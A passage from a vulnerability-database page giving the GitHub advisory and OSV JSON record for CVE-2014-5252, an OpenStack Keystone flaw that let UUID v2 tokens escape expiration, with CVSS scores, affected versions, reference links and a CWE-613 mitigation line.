      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-103279"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/ghost-3.10.0-before-6.34.0-session-invalidation-bypass"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-V8FQ-GQ9J-3V7H

Vulnerability from github – Published: 2022-05-17 04:31 – Updated: 2024-11-26 18:34
VLAI
Summary
OpenStack Identity (Keystone) UUID v2 tokens does not expire with revocation events
Details

The V3 API in OpenStack Identity (Keystone) 2014.1.x before 2014.1.2.1 and Juno before Juno-3 updates the issued_at value for UUID v2 tokens, which allows remote authenticated users to bypass the token expiration and retain access via a verification (1) GET or (2) HEAD request to v3/auth/tokens/.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
7.1 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "keystone"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "8.0.0a0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2014-5252"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-613"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-05-14T21:16:58Z",
    "nvd_published_at": "2014-08-25T14:55:00Z",
    "severity": "HIGH"
  },
  "details": "The V3 API in OpenStack Identity (Keystone) 2014.1.x before 2014.1.2.1 and Juno before Juno-3 updates the issued_at value for UUID v2 tokens, which allows remote authenticated users to bypass the token expiration and retain access via a verification (1) GET or (2) HEAD request to v3/auth/tokens/.",
  "id": "GHSA-v8fq-gq9j-3v7h",
  "modified": "2024-11-26T18:34:19Z",
  "published": "2022-05-17T04:31:13Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2014-5252"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openstack/keystone/commit/556fb860311675fc437585651e4602b2908451eb"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openstack/keystone/commit/a4c73e4382cb062aa9f30fe1960d5014d3c49cc2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openstack/keystone/commit/bdb88c662ac2035f9b0d8a229a5db5f60f5f16ae"
    },
    {
      "type": "WEB",
      "url": "https://bugs.launchpad.net/keystone/+bug/1348820"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openstack/keystone"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/keystone/PYSEC-2014-108.yaml"
    },
    {
      "type": "WEB",
      "url": "http://rhn.redhat.com/errata/RHSA-2014-1121.html"
    },
    {
      "type": "WEB",
      "url": "http://rhn.redhat.com/errata/RHSA-2014-1122.html"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2014/08/15/6"
    },
    {
      "type": "WEB",
      "url": "http://www.ubuntu.com/usn/USN-2324-1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OpenStack Identity (Keystone) UUID v2 tokens does not expire with revocation events"
}
Mitigation
Implementation

Set sessions/credentials expiration date.

No CAPEC attack patterns related to this CWE.

← Back to the CWE list